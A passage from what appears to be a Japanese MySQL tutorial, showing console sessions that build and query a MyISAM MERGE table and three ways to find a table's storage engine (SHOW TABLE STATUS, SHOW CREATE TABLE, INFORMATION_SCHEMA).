-> `id` int(11) NOT NULL AUTO_INCREMENT,
-> `comment` varchar(50) DEFAULT NULL,
-> PRIMARY KEY (`id`)
-> ) TYPE=MERGE UNION=(Y2008,Y2009) INSERT_METHOD=LAST;
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql> CREATE UNIQUE INDEX uidx_Yyyyy_comment ON Y2008_Y2009(comment);
Query OK, 0 rows affected (0.00 sec)
Records: 0 Duplicates: 0 Warnings: 0

mysql>

create_merge

create_merge_status

mysql> select * from Y2008_Y2009;
+—-+———-+
| id | comment |
+—-+———-+
| 1 | comment1 |
| 2 | comment2 |
| 3 | comment3 |
+—-+———-+
3 rows in set (0.00 sec)

mysql>

create_merge_each_table

mysql> insert into Y2008_Y2009(comment) values(‘INSERT INTO MYISAM MERGE’);

mysql> select * from Y2008_Y2009;
+—-+————————–+
| id | comment |
+—-+————————–+
| 1 | comment1 |
| 2 | comment2 |
| 3 | comment3 |
| 4 | INSERT INTO MYISAM MERGE |
+—-+————————–+
4 rows in set (0.00 sec)

mysql>

create_merge_insert

mysql> select * from Y2008;
+—-+———-+
| id | comment |
+—-+———-+
| 1 | comment1 |
| 2 | comment2 |
| 3 | comment3 |
+—-+———-+
3 rows in set (0.00 sec)

mysql> select * from Y2009;
+—-+————————–+
| id | comment |
+—-+————————–+
| 4 | INSERT INTO MYISAM MERGE |
+—-+————————–+
1 row in set (0.00 sec)

mysql>

mrg


mysql> select TABLE_SCHEMA,TABLE_NAME,TABLE_TYPE,ENGINE from information_schema.tables where table_schema = 'TEST';
+--------------+-------------+------------+------------+
| TABLE_SCHEMA | TABLE_NAME | TABLE_TYPE | ENGINE |
+--------------+-------------+------------+------------+
| TEST | MEM | BASE TABLE | MEMORY |
| TEST | MEM2 | BASE TABLE | MEMORY |
| TEST | MEM3 | BASE TABLE | MEMORY |
| TEST | MYSQLIMP | BASE TABLE | MyISAM |
| TEST | T1 | BASE TABLE | InnoDB |
| TEST | T2 | BASE TABLE | InnoDB |
| TEST | Y2008 | BASE TABLE | MyISAM |
| TEST | Y2008_Y2009 | BASE TABLE | MRG_MYISAM |
| TEST | Y2009 | BASE TABLE | MyISAM |
+--------------+-------------+------------+------------+
9 rows in set (0.00 sec)

mrg_myisam

MERGEテーブル上では、SELECT、 DELETE、 UPDATE、そして INSERTを
利用する事ができます。MERGE テーブルにマップするMyISAM テーブル上に、
SELECT、 UPDATE、そして DELETE 権限を持たなければいけません。

MERGE テーブルをDROPする時、 MERGE 仕様だけが削除されます。
基礎となるテーブルは影響を受けません。

MERGE テーブルを作成するには、どの MyISAM テーブルを一つの物として利用
したいかを示すUNION=(list-of-tables) 条項を指定しなければいけません。
MERGE テーブルに、 UNION リストの最初か最後のテーブルに位置する
為の挿入が必要であれば、自由に INSERT_METHOD オプションを指定する事が
できます。テーブルの最初か最後に挿入されるように、FIRST か LAST値を
それぞれ使用してください。INSERT_METHOD オプションを指定しない場合や、
NOの値で指定した場合は、MERGEテーブルに行を挿入しようとしてもエラーが発生します。

※オプションとして、MERGE テーブルへの挿入が UNION リスト内の最初のテーブルと最後のテーブル
のどちらで行われるかを、INSERT_METHOD で指定できます。INSERT_METHOD を指定しなかった
場合、または NO を指定した場合は、MERGE テーブルに対するすべての INSERT コマンドでエラーが
返されます。

※MERGE テーブルの中で、いくつものMyISAMフィーチャーを利用する事はできません。
例えば、MERGE テーブル上でFULLTEXT インデックスを作成する事はできません。
(もちろん、基礎となるMyISAM テーブル上に FULLTEXT インデックスを作成する事はできますが、
全文検索で MERGE テーブルを検索する事はできません。


mysql> show table status like ‘TABLE007’\G
*************************** 1. row ***************************
Name: TABLE007
Engine: InnoDB
Version: 10
Row_format: Compact
Rows: 9
Avg_row_length: 1820
Data_length: 16384
Max_data_length: 0
Index_length: 0
Data_free: 4194304
Auto_increment: 10
Create_time: 2009-02-17 11:30:45
Update_time: NULL
Check_time: NULL
Collation: utf8_general_ci
Checksum: NULL
Create_options:
Comment:
1 row in set (0.00 sec)

mysql>

mysql> show create table TABLE007\G
*************************** 1. row ***************************
Table: TABLE007
Create Table: CREATE TABLE `TABLE007` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`comment` varchar(45) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8
1 row in set (0.00 sec)

mysql>

mysql> select table_name, Engine from information_schema.tables where
-> table_schema = ‘DB01’ and table_name = ‘TABLE007’;
+————+——–+
| table_name | Engine |
+————+——–+
| TABLE007 | InnoDB |
+————+——–+
1 row in set (0.00 sec)

mysql>

show_table_status

mysql> show engines;
\+————+———+—————————————————————-+————–+—–+————+
| Engine | Support | Comment | Transactions | XA | Savepoints |
+————+———+—————————————————————-+————–+—–+————+
| MyISAM | DEFAULT | Default engine as of MySQL 3.23 with great performance | NO | NO | NO |
| MRG_MYISAM | YES | Collection of identical MyISAM tables | NO | NO | NO |
| BLACKHOLE | YES | /dev/null storage engine (anything you write to it disappears) | NO | NO | NO |
| CSV | YES | CSV storage engine | NO | NO | NO |
| MEMORY | YES | Hash based, stored in memory, useful for temporary tables | NO | NO | NO |
| InnoDB | YES | Supports transactions, row-level locking, and foreign keys | YES | YES | YES |
| ARCHIVE | YES | Archive storage engine | NO | NO | NO |
+————+———+—————————————————————-+————–+—–+————+
7 rows in set (0.00 sec)
mysql>

DEFAULT & YES = Storage Engine is compiled and enabled.
DISABLED = Compiled in but disabled.
NO = Not Compiled in when server was build.

engine

※ MYISAM, MERGE,MEMORYは常に利用可能なストレージエンジン
サポートされたストレージエンジン

『テーブルに利用されているストレージエンジンを把握する為の3つの方法。』

━━━━━━ SHOW TABLE STATUS ━━━━━━

mysql> show table status like ‘mt_author’\G
*************************** 1. row ***************************
Name: mt_author
Engine: MyISAM
Version: 10
Row_format: Dynamic
Rows: 1
Avg_row_length: 88
Data_length: 88
Max_data_length: 281474976710655
Index_length: 6144
Data_free: 0
Auto_increment: 2
Create_time: 2008-03-10 17:55:37
Update_time: 2008-03-10 17:55:37
Check_time: 2008-03-10 17:55:37
Collation: utf8_bin
Checksum: NULL
Create_options:
Comment:
1 row in set (0.00 sec)

━━━━━━ SHOW CREATE ━━━━━━

mysql> show create table mt_author\G
*************************** 1. row ***************************
Table: mt_author
Create Table: CREATE TABLE `mt_author` (
`author_id` int(11) NOT NULL auto_increment,
`author_api_password` varchar(60) collate utf8_bin default NULL,
`author_can_create_blog` tinyint(4) default NULL,
`author_can_view_log` tinyint(4) default NULL,
`author_email` varchar(75) collate utf8_bin default NULL,
`author_entry_prefs` varchar(255) collate utf8_bin default NULL,
`author_hint` varchar(75) collate utf8_bin default NULL,
`author_is_superuser` tinyint(4) default NULL,
`author_name` varchar(50) collate utf8_bin NOT NULL default ”,
`author_nickname` varchar(50) collate utf8_bin default NULL,
`author_password` varchar(60) collate utf8_bin NOT NULL default ”,
`author_preferred_language` varchar(50) collate utf8_bin default NULL,
`author_public_key` mediumtext collate utf8_bin,
`author_remote_auth_token` varchar(50) collate utf8_bin default NULL,
`author_remote_auth_username` varchar(50) collate utf8_bin default NULL,
`author_type` smallint(6) NOT NULL default ‘1’,
`author_url` varchar(255) collate utf8_bin default NULL,
`author_created_on` datetime default NULL,
`author_created_by` int(11) default NULL,
`author_modified_on` timestamp NOT NULL default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP,
`author_modified_by` int(11) default NULL,
PRIMARY KEY (`author_id`),
KEY `mt_author_email` (`author_email`),
KEY `mt_author_created_on` (`author_created_on`),
KEY `mt_author_name` (`author_name`),
KEY `mt_author_type` (`author_type`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_bin
1 row in set (0.00 sec)

━━━━━━ INFORMATION SCHEMA ━━━━━━

mysql> select TABLE_NAME,TABLE_TYPE,ENGINE from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA =’MT’;
+—————–+————+——–+
| TABLE_NAME | TABLE_TYPE | ENGINE |
+—————–+————+——–+
| mt_author | BASE TABLE | MyISAM |
| mt_blog | BASE TABLE | MyISAM |
| mt_category | BASE TABLE | MyISAM |
| mt_comment | BASE TABLE | MyISAM |
| mt_config | BASE TABLE | MyISAM |
| mt_entry | BASE TABLE | MyISAM |
| mt_fileinfo | BASE TABLE | MyISAM |
| mt_ipbanlist | BASE TABLE | MyISAM |
| mt_log | BASE TABLE | MyISAM |
| mt_notification | BASE TABLE | MyISAM |
| mt_objecttag | BASE TABLE | MyISAM |
| mt_permission | BASE TABLE | MyISAM |
| mt_placement | BASE TABLE | MyISAM |
| mt_plugindata | BASE TABLE | MyISAM |
| mt_rfdata | BASE TABLE | MyISAM |
| mt_session | BASE TABLE | MyISAM |
| mt_tag | BASE TABLE | MyISAM |
| mt_tbping | BASE TABLE | MyISAM |
| mt_template | BASE TABLE | MyISAM |
| mt_templatemap | BASE TABLE | MyISAM |
| mt_trackback | BASE TABLE | MyISAM |
+—————–+————+——–+
21 rows in set (0.01 sec)

mysql>